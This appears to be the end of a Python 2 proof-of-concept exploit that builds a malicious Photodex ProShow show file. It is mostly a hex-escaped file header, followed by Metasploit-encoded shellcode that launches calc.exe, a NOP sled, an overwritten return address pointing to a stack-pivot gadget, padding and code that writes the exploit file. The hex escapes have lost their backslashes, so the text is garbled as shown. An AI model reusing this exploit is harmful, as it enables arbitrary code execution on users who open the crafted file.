"xA8x6Fx54x3FxA4x7Ex59xFDx89x06x59xC3x4CxC3x4Fx43xA4x51xA0xB1"+
"x5FxE3xBCxC6x20x0Bx63x19xB3x78x2Cx21x6Bx0DxABx86x75x81x35xC4"+
"x26xB1xCDxD9x7Cx76x2AxBBx98xFDx1DxBBx8Bx3DxAAxA9xA1x39x43x33"+
"x4Ax33x57xB3x52xF3x94x66x3Fx07xE3x98x71xF8x9Cx74x4Ex09xE7x28"+
"xA7x97xF3x7Ex8AxDEx14xEFx29xE2x29x1BxA6x34x4CxB9x31x65x5Cx6B"+
"xAAx96x97x96x58xABx48xABx51xABx47xEBxBDx36xAExEDxA7x9DxA6xBD"+
"x45xBBx59xFBx81x0Ex41xC7x4Ax27x5Cx27x47x67x8FxCEx05x9DxE7x53"+
"xD9x53xDDxA7x0AxA7x16x4Dx3Dx3AxF5xAEx2ExAAx6BxA5x1BxA1xBBx44"+
"x77xBFx6ExA7xEEx98x9ExBEx5Ex80x9Ex4Cx6FxA7xDEx79xBDxE7xFAx1C"+
"x7Dx2FxFDx54xFDx6DxFAxA7xF5x47x0Cx58x06xB3x0Cx24x06xDBx0CxCE"+
"x18x3CxC5x35x71x6Fx3Cx1Dx2FxC7xDBxF1x51x43x5DxC3x40x43xA5x61"+
"x95x61x97xE1x84x91xB9xD1x3CxA3xD5x46x8Dx46x0Fx8Cx69xC6x5CxE3"+
"x24xE3x6DxC6x6DxC6xA3x26x06x26x21x26x4Bx4DxEAx4DxEEx9Ax52x4D"+
"xB9xA6x29xA6x3Bx4Cx3Bx4CxC7xCDxCCxCDxA2xCDxD6x99x35x9Bx3Dx31"+
"xD7x32xE7x9BxE7x9BxD7x9BxDFxB7x60x5Ax78x5Ax2CxB6xA8xB6xB8x65"+
"x49xB2xE4x5AxA6x59xEExB6xBCx6Ex85x5Ax39x59xA5x58x55x5Ax5DxB3"+
"x46xADx9DxADx25xD6xBBxADxBBxA7x11xA7xB9x4Ex93x4ExABx9ExD6x67"+
"xC3xB0xF1xB6xC9xB6xA9xB7x19xB0xE5xD8x06xDBxAExB6x6DxB6x7Dx61"+
"x67x62x17x67xB7xC5xAExC3xEEx93xBDx93x7DxBAx7Dx8DxFDx3Dx07x0D"+
"x87xD9x0ExABx1Dx5Ax1Dx7Ex73xB4x72x14x3Ax56x3AxDEx9AxCEx9CxEE"+
"x3Fx7DxC5xF4x96xE9x2Fx67x58xCFx10xCFxD8x33xE3xB6x13xCBx29xC4"+
"x69x9Dx53x9BxD3x47x67x17x67xB9x73x83xF3x88x8Bx89x4Bx82xCBx2E"+
"x97x3Ex2Ex9Bx1BxC6xDDxC8xBDxE4x4Ax74xF5x71x5DxE1x7AxD2xF5x9D"+
"x9BxB3x9BxC2xEDxA8xDBxAFxEEx36xEEx69xEEx87xDCx9FxCCx34x9Fx29"+
"x9Ex59x33x73xD0xC3xC8x43xE0x51xE5xD1x3Fx0Bx9Fx95x30x6BxDFxAC"+
"x7Ex4Fx43x4Fx81x67xB5xE7x23x2Fx63x2Fx91x57xADxD7xB0xB7xA5x77"+
"xAAxF7x61xEFx17x3ExF6x3Ex72x9FxE3x3ExE3x3Cx37xDEx32xDEx59x5F"+
"xCCx37xC0xB7xC8xB7xCBx4FxC3x6Fx9Ex5Fx85xDFx43x7Fx23xFFx64xFF"+
"x7AxFFxD1x00xA7x80x25x01x67x03x89x81x41x81x5Bx02xFBxF8x7Ax7C"+
"x21xBFx8Ex3Fx3AxDBx65xF6xB2xD9xEDx41x8CxA0xB9x41x15x41x8Fx82"+
"xADx82xE5xC1xADx21x68xC8xECx90xADx21xF7xE7x98xCEx91xCEx69x0E"+
"x85x50x7ExE8xD6xD0x07x61xE6x61x8BxC3x7Ex0Cx27x85x87x85x57x86"+
"x3Fx8Ex70x88x58x1AxD1x31x97x35x77xD1xDCx43x73xDFx44xFAx44x96"+
"x44xDEx9Bx67x31x4Fx39xAFx2Dx4Ax35x2Ax3ExAAx2Ex6Ax3CxDAx37xBA"+
"x34xBAx3FxC6x2Ex66x59xCCxD5x58x9Dx58x49x6Cx4Bx1Cx39x2Ex2AxAE"+
"x36x6Ex6CxBExDFxFCxEDxF3x87xE2x9DxE2x0BxE3x7Bx17x98x2FxC8x5D"+
"x70x79xA1xCExC2xF4x85xA7x16xA9x2Ex12x2Cx3Ax96x40x4Cx88x4Ex38"+
"x94xF0x41x10x2AxA8x16x8Cx25xF2x13x77x25x8Ex0Ax79xC2x1DxC2x67"+
"x22x2FxD1x36xD1x88xD8x43x5Cx2Ax1Ex4ExF2x48x2Ax4Dx7Ax92xECx91"+
"xBCx35x79x24xC5x33xA5x2CxE5xB9x84x27xA9x90xBCx4Cx0Dx4CxDDx9B"+
"x3Ax9Ex16x9Ax76x20x6Dx32x3Dx3AxBDx31x83x92x91x90x71x42xAAx21"+
"x4Dx93xB6x67xEAx67xE6x66x76xCBxACx65x85xB2xFExC5x6Ex8BxB7x2F"+
"x1Ex95x07xC9x6BxB3x90xACx05x59x2Dx0AxB6x42xA6xE8x54x5Ax28xD7"+
"x2Ax07xB2x67x65x57x66xBFxCDx89xCAx39x96xABx9Ex2BxCDxEDxCCxB3"+
"xCAxDBx90x37x9CxEFx9FxFFxEDx12xC2x12xE1x92xB6xA5x86x4Bx57x2D"+
"x1Dx58xE6xBDxACx6Ax39xB2x3Cx71x79xDBx0AxE3x15x05x2Bx86x56x06"+
"xACx3CxB8x8AxB6x2Ax6DxD5x4FxABxEDx57x97xAEx7ExBDx26x7Ax4Dx6B"+
"x81x5ExC1xCAx82xC1xB5x01x6BxEBx0Bx55x0AxE5x85x7DxEBxDCxD7xED"+
"x5Dx4Fx58x2Fx59xDFxB5x61xFAx86x9Dx1Bx3Ex15x89x8AxAEx14xDBx17"+
"x97x15x7FxD8x28xDCx78xE5x1Bx87x6FxCAxBFx99xDCx94xB4xA9xABxC4"+
"xB9x64xCFx66xD2x66xE9xE6xDEx2Dx9Ex5Bx0Ex96xAAx97xE6x97x0Ex6E"+
"x0DxD9xDAxB4x0DxDFx56xB4xEDxF5xF6x45xDBx2Fx97xCDx28xDBxBBx83"+
"xB6x43xB9xA3xBFx3CxB8xBCx65xA7xC9xCExCDx3Bx3Fx54xA4x54xF4x54"+
"xFAx54x36xEExD2xDDxB5x61xD7xF8x6ExD1xEEx1Bx7BxBCxF6x34xECxD5"+
"xDBx5BxBCxF7xFDx3ExC9xBExDBx55x01x55x4DxD5x66xD5x65xFBx49xFB"+
"xB3xF7x3FxAEx89xAAxE9xF8x96xFBx6Dx5DxADx4Ex6Dx71xEDxC7x03xD2"+
"x03xFDx07x23x0ExB6xD7xB9xD4xD5x1DxD2x3Dx54x52x8FxD6x2BxEBx47"+
"x0ExC7x1FxBExFEx9DxEFx77x2Dx0Dx36x0Dx55x8Dx9CxC6xE2x23x70x44"+
"x79xE4xE9xF7x09xDFxF7x1Ex0Dx3AxDAx76x8Cx7BxACxE1x07xD3x1Fx76"+
"x1Dx67x1Dx2Fx6Ax42x9AxF2x9Ax46x9Bx53x9AxFBx5Bx62x5BxBAx4FxCC"+
"x3ExD1xD6xEAxDEx7AxFCx47xDBx1Fx0Fx9Cx34x3Cx59x79x4AxF3x54xC9"+
"x69xDAxE9x82xD3x93x67xF2xCFx8Cx9Dx95x9Dx7Dx7Ex2ExF9xDCx60xDB"+
"xA2xB6x7BxE7x63xCExDFx6Ax0Fx6FxEFxBAx10x74xE1xD2x45xFFx8BxE7"+
"x3BxBCx3BxCEx5CxF2xB8x74xF2xB2xDBxE5x13x57xB8x57x9AxAFx3Ax5F"+
"x6DxEAx74xEAx3CxFEx93xD3x4FxC7xBBx9CxBBx9AxAExB9x5Cx6BxB9xEE"+
"x7AxBDxB5x7Bx66xF7xE9x1Bx9Ex37xCExDDxF4xBDx79xF1x16xFFxD6xD5"+
"x9Ex39x3DxDDxBDxF3x7Ax6FxF7xC5xF7xF5xDFx16xDDx7Ex72x27xFDxCE"+
"xCBxBBxD9x77x27xEExADxBCx4FxBCx5FxF4x40xEDx41xD9x43xDDx87xD5"+
"x3Fx5BxFExDCxD8xEFxDCx7Fx6AxC0x77xA0xF3xD1xDCx47xF7x06x85x83"+
"xCFxFEx91xF5x8Fx0Fx43x05x8Fx99x8FxCBx86x0Dx86xEBx9Ex38x3Ex39"+
"x39xE2x3Fx72xFDxE9xFCxA7x43xCFx64xCFx26x9Ex17xFExA2xFExCBxAE"+
"x17x16x2Fx7ExF8xD5xEBxD7xCExD1x98xD1xA1x97xF2x97x93xBFx6Dx7C"+
"xA5xFDxEAxC0xEBx19xAFxDBxC6xC2xC6x1ExBExC9x78x33x31x5ExF4x56"+
"xFBxEDxC1x77xDCx77x1DxEFxA3xDFx0Fx4FxE4x7Cx20x7Fx28xFFx68xF9"+
"xB1xF5x53xD0xA7xFBx93x19x93x93xFFx04x03x98xF3xFCx63x33x2DxDB"+
"x00x00x00x20x63x48x52x4Dx00x00x7Ax25x00x00x80x83x00x00xF9xFF"+
"x00x00x80xE9x00x00x75x30x00x00xEAx60x00x00x3Ax98x00x00x17x6F"+
"x92x5FxC5x46x00x00x03x00x50x4Cx54x45x00x00x00xFFxFFxFFx02x02"+
"x02xFFxFFxFFx00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x72xB2x02x4Ax00x00x00x04x74x52x4Ex53xFFxFFxFFx00x40x2AxA9xF4"+
"x00x00x0Bx0Bx49x44x41x54x78xDAxECxDDxB1x09x00x20x0Cx45x41x23"+
"xEEx3FxB2x5AxD8x0Bx8Ax85x90xBBx11x7ExF3x48x95x52x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x78x29x4Cx60x0AxE0xC8x30xC1x52x4Dx00"+
"x80x80x00x20x20x00x08x08x00x02x02x00x02x02x80x80x00x20x20x00"+
"x08x08x00x02x02x00x02x02x80x80x00x20x20x00x08x08x00x02x02x00"+
"x02x02x80x80x00x20x20x00x08x08x00x59x34x13xECx84x47xE9x90x5B"+
"x37x81x0BxE4x36x20x26x00x10x10x00x04x04x00x01x01x40x40x00x10"+
"x10x00x10x10x00x04x04x00x01x01x40x40x00x10x10x00x10x10x00x04"+
"x04x00x01x01x40x40x00x10x10x00x10x10x00x04x04x00x01x01x40x40"+
"x00x10x10x00x10x10x00x04x04x00x01x01x40x40x00x40x40x00x10x10"+
"x00x04x04x00x01x01x40x40x00x40x40x00x10x10x00x04x04x00x01x01"+
"x40x40x00x40x40x00x10x10x00x04x04x00x01x01x40x40x00x40x40x00"+
"x10x10x00x04x04x00x01x01x40x40x00x40x40x00x10x10x00x04x04x00"+
"x01x01x40x40x00x40x40x00x10x10x00x04x04x00x01x01x40x40x00x40"+
"x40x00x10x10x00x04x04x00x01x01x00x01x01x40x40x00x10x10x00x04"+
"x04x00x01x01x00x01x01x40x40x00x10x10x00x04x04x00x01x01x00x01"+
"x01x40x40x00x10x10x00x04x04x00x01x01x00x01x01x40x40x00x10x10"+
"x00x04x04x00x01x01x00x01x01x40x40x00x10x10x00x04x04x00x01x01"+
"x00x01x01x40x40x00x10x10x00x04x04x00x01x01x00x01x01x40x40x00"+
"x10x10x00x04x04x00x01x01x00x01x01x40x40x00x10x10x00x04x04x00"+
"x04x04x00x01x01x40x40x00x10x10x00x04x04x00x04x04x00x01x01x40"+
"x40x00x10x10x00x04x04x00x04x04x00x01x01x40x40x00x10x10x00x04"+
"x04x00x04x04x00x01x01x40x40x00x10x10x00x04x04x00x04x04x00x01"+
"x01x40x40x00x10x10x00x04x04x00x04x04x00x01x01x40x40x00x10x10"+
"x00x04x04x00x04x04x00x01x01x40x40x00x10x10x00x10x10x00x04x04"+
"x00x01x01x40x40x00x10x10x00x10x10x00x04x04x00x01x01x40x40x00"+
"x10x10x00x10x10x00x04x04x00x01x01x40x40x00x10x10x00x10x10x00"+
"x04x04x00x01x01x40x40x00x10x10x00x10x10x00x04x04x00x01x01x40"+
"x40x00x10x10x00x10x10x00x04x04x00x01x01x40x40x00x10x10x00x10"+
"x10x00x04x04x00x01x01x40x40x00x10x10x00x10x10x00x04x04x00x01"+
"x01x40x40x00x40x40x00x10x10x00x04x04x00x01x01x40x40x00x40x40"+
"x00x10x10x00x04x04x00x01x01x40x40x00x40x40x00x10x10x00x04x04"+
"x00x01x01x40x40x00x40x40x00x10x10x00x04x04x00x01x01x40x40x00"+
"x40x40x00x10x10x00x04x04x00x01x01x40x40x00x40x40x00x10x10x00"+
"x04x04x00x01x01x40x40x00x40x40x00x10x10x00x04x04x00x01x01x40"+
"x40x4Cx00x80x80x00x20x20x00x08x08x00x02x02x00x02x02x80x80x00"+
"x20x20x00x08x08x00x02x02x00x02x02x80x80x00x20x20x00x08x08x00"+
"x02x02x00x02x02x80x80x00x20x20x00x08x08x00x02x02x00x02x02x80"+
"x80x00x20x20x00x08x08x00x02x02x00x02x02x80x80x00x20x20x00x08"+
"x08x00x02x02x00x02x02x80x80x00x20x20x00x08x08x00x02x02x00x02"+
"x02x80x80x00x20x20x00x08x08x00x08x08x00x02x02x80x80x00x20x20"+
"x00x08x08x00x08x08x00x02x02x80x80x00x20x20x00x08x08x00x08x08"+
"x00x02x02x80x80x00x20x20x00x08x08x00x08x08x00x02x02x80x80x00"+
"x20x20x00x08x08x00x08x08x00x02x02x80x80x00x20x20x00x08x08x00"+
"x08x08x00x02x02x80x80x00x20x20x00x08x08x00x08x08x00x02x02x80"+
"x80x00x20x20x00x08x08x00x08x08x00x02x02x80x80x00x20x20x00x20"+
"x20x00x08x08x00x02x02x80x80x00x20x20x00x20x20x00x08x08x00x02"+
"x02x80x80x00x20x20x00x20x20x00x08x08x00x02x02x80x80x00x20x20"+
"x00x20x20x00x08x08x00x02x02x80x80x00x20x20x00x20x20x00x08x08"+
"x00x02x02x80x80x00x20x20x00x20x20x00x08x08x00x02x02x80x80x00"+
"x20x20x00x20x20x00x08x08x00x02x02x80x80x00x80x80x00x20x20x00"+
"x08x08x00x02x02x80x80x00x80x80x00x20x20x00x08x08x00x02x02x80"+
"x80x00x80x80x00x20x20x00x08x08x00x02x02x80x80x00x80x80x00x20"+
"x20x00x08x08x00x02x02x80x80x00x80x80x00x20x20x00x08x08x00x02"+
"x02x80x80x00x80x80x00x20x20x00x08x08x00x02x02x80x80x00x80x80"+
"x00x20x20x00x08x08x00x02x02x80x80x00x80x80x00x20x20x00x08x08"+
"x00x02x02x00x02x02x80x80x00x20x20x00x08x08x00x02x02x00x02x02"+
"x80x80x00x20x20x00x08x08x00x02x02x00x02x02x80x80x00x20x20x00"+
"x08x08x00x02x02x00x02x02x80x80x00x20x20x00x08x08x00x02x02x00"+
"x02x02x80x80x00x20x20x00x08x08x00x02x02x00x02x02x80x80x00x20"+
"x20x00x08x08x00x02x02x00x02x02x80x80x00x20x20x00x08x08x00x08"+
"x08x00x02x02x80x80x00x20x20x00x08x08x00x08x08x00x02x02x80x80"+
"x00x20x20x00x08x08x00x08x08x00x02x02x80x80x00x20x20x00x08x08"+
"x00x08x08x00x02x02x80x80x00x20x20x00x08x08x00x08x08x00x02x02"+
"x80x80x00x20x20x00x08x08x00x08x08x00x02x02x80x80x00x20x20x00"+
"x08x08x00x08x08x00x02x02x80x80x00x20x20x00x08x08x00x08x08x00"+
"x02x02x80x80x00x20x20x00x20x20x00x08x08x00x02x02x80x80x00x20"+
"x20x00x20x20x00x08x08x00x02x02x80x80x00x20x20x00x20x20x00x08"+
"x08x00x02x02x80x80x00x20x20x00x20x20x00x08x08x00x02x02x80x80"+
"x00x20x20x00x20x20x00x08x08x00x02x02x80x80x00x20x20x00x20x20"+
"x00x08x08x00x02x02x80x80x00x20x20x00x20x20x00x08x08x00x02x02"+
"x80x80x00x20x20x26x00x40x40x00x10x10x00x04x04x00x01x01x00x01"+
"x01x40x40x00x10x10x00x04x04x00x01x01x00x01x01x40x40x00x10x10"+
"x00x04x04x00x01x01x00x01x01x40x40x00x10x10x00x04x04x00x01x01"+
"x00x01x01x40x40x00x10x10x00x04x04x00x01x01x00x01x01x40x40x00"+
"x10x10x00x04x04x00x01x01x00x01x01x40x40x00x10x10x00x04x04x00"+
"x01x01x00x01x01x40x40x00x10x10x00x04x04x00x04x04x00x01x01x40"+
"x40x00x10x10x00x04x04x00x04x04x00x01x01x40x40x00x10x10x00x04"+
"x04x00x04x04x00x01x01x40x40x00x10x10x00x04x04x00x04x04x00x01"+
"x01x40x40x00x10x10x00x04x04x00x04x04x00x01x01x40x40x00x10x10"+
"x00x04x04x00x04x04x00x01x01x40x40x00x10x10x00x04x04x00x04x04"+
"x00x01x01x40x40x00x10x10x00x04x04x00x04x04x00x01x01x40x40x00"+
"x10x10x00x10x10x00x04x04x00x01x01x40x40x00x10x10x00x10x10x00"+
"x04x04x00x01x01x40x40x00x10x10x00x10x10x00x04x04x00x01x01x40"+
"x40x00x10x10x00x10x10x00x04x04x00x01x01x40x40x00x10x10x00x10"+
"x10x00x04x04x00x01x01x40x40x00x10x10x00x10x10x00x04x04x00x01"+
"x01x40x40x00x10x10x00x10x10x00x04x04x00x01x01x40x40x00x40x40"+
"x00x10x10x00x04x04x00x01x01x40x40x00x40x40x00x10x10x00x04x04"+
"x00x01x01x40x40x00x40x40x00x10x10x00x04x04x00x01x01x40x40x00"+
"x40x40x00x10x10x00x04x04x00x01x01x40x40x00x40x40x00x10x10x00"+
"x04x04x00x01x01x40x40x00x40x40x00x10x10x00x04x04x00x01x01x40"+
"x40x00x40x40x00x10x10x00x04x04x00x01x01x40x40x00x40x40x00x10"+
"x10x00x04x04x00x01x01x00x01x01x40x40x00x10x10x00x04x04x00x01"+
"x01x00x01x01x40x40x00x10x10x00x04x04x00x01x01x00x01x01x40x40"+
"x00x10x10x00x04x04x00x01x01x00x01x01x40x40x00x10x10x00x04x04"+
"x00x01x01x00x01x01x40x40x00x10x10x00x04x04x00x01x01x00x01x01"+
"x40x40x00x10x10x00x04x04x00x01x01x00x01x01x40x40x00x10x10x00"+
"x04x04x00x04x04x00x01x01x40x40x00x10x10x00x04x04x00x04x04x00"+
"x01x01x40x40x00x10x10x00x04x04x00x04x04x00x01x01x40x40x00x10"+
"x10x00x04x04x00x04x04x00x01x01x40x40x00x10x10x00x04x04x00x04"+
"x04x00x01x01x40x40x00x10x10x00x04x04x00x04x04x00x01x01x40x40"+
"x00x10x10x00x04x04x00x04x04x00x01x01x40x40x00x10x10x00x72x0B"+
"x13x98x02x38x32x4CxE0x02x01x40x40x00x10x10x00x04x04x00x01x01"+
"x00x01x01x40x40x00x10x10x00x04x04x00x01x01x00x01x01x40x40x00"+
"x10x10x00x04x04x00x01x01x00x01x01x40x40x00x10x10x00x04x04x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00xE0x6Fx73x00x1Bx6Ax08xA8x54x42xD7xD2x00"+
"x00x00x00x49x45x4Ex44xAEx42x60x82x73x74x79x6Cx65x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x80x61x00x00x01x50x68x6Fx74x6Fx64x65x78x28x52x29x20"+
"x50x72x6Fx53x68x6Fx77x28x54x4Dx29x20x53x68x6Fx77x20x46x69x6C"+
"x65x20x56x65x72x73x69x6Fx6Ex3Dx30x0Dx0Ax70x72x6Fx73x68x6Fx77"+
"x56x65x72x73x69x6Fx6Ex3Dx32x38x39x31x0Dx0Ax74x69x74x6Cx65x3D")
 
# windows/exec CMD=calc.exe 
# Encoder: x86/shikata_ga_nai
# powered by Metasploit 
# msfpayload windows/exec CMD=calc.exe R | msfencode -b 'x00'

shellcode = ("xbax68x3ex85x1fxd9xcaxd9x74x24xf4x58x29xc9" +
"xb1x33x31x50x12x83xe8xfcx03x38x30x67xeax44" +
"xa4xeex15xb4x35x91x9cx51x04x83xfbx12x35x13" +
"x8fx76xb6xd8xddx62x4dxacxc9x85xe6x1bx2cxa8" +
"xf7xadxf0x66x3bxafx8cx74x68x0fxacxb7x7dx4e" +
"xe9xa5x8ex02xa2xa2x3dxb3xc7xf6xfdxb2x07x7d" +
"xbdxccx22x41x4ax67x2cx91xe3xfcx66x09x8fx5b" +
"x57x28x5cxb8xabx63xe9x0bx5fx72x3bx42xa0x45" +
"x03x09x9fx6ax8ex53xe7x4cx71x26x13xafx0cx31" +
"xe0xd2xcaxb4xf5x74x98x6fxdex85x4dxe9x95x89" +
"x3ax7dxf1x8dxbdx52x89xa9x36x55x5ex38x0cx72" +
"x7ax61xd6x1bxdbxcfxb9x24x3bxb7x66x81x37x55" +
"x72xb3x15x33x85x31x20x7ax85x49x2bx2cxeex78" +
"xa0xa3x69x85x63x80x86xcfx2exa0x0ex96xbaxf1" +
"x52x29x11x35x6bxaax90xc5x88xb2xd0xc0xd5x74" +
"x08xb8x46x11x2ex6fx66x30x4dxeexf4xd8xbcx95" +
"x7cx7axc1")

junk1="x90" * (233 - len(shellcode))
eip=pack('<L',0x1013bf20) # {pivot 164 / 0xa4} :  # POP ESI # POP EBP # POP EBX # ADD ESP,98 # RETN 0x10 [if.dnt] 
junk2="x41" * 1000

poc=head + shellcode + junk1 + eip + junk2 + "x0Ax0D" 

try:
    print "[*] Creating exploit file...n";
    writeFile = open (file, "w")
    writeFile.write( poc )
    writeFile.close()
    print "[*] File successfully created!";
except:
    print "[!] Error while creating file!";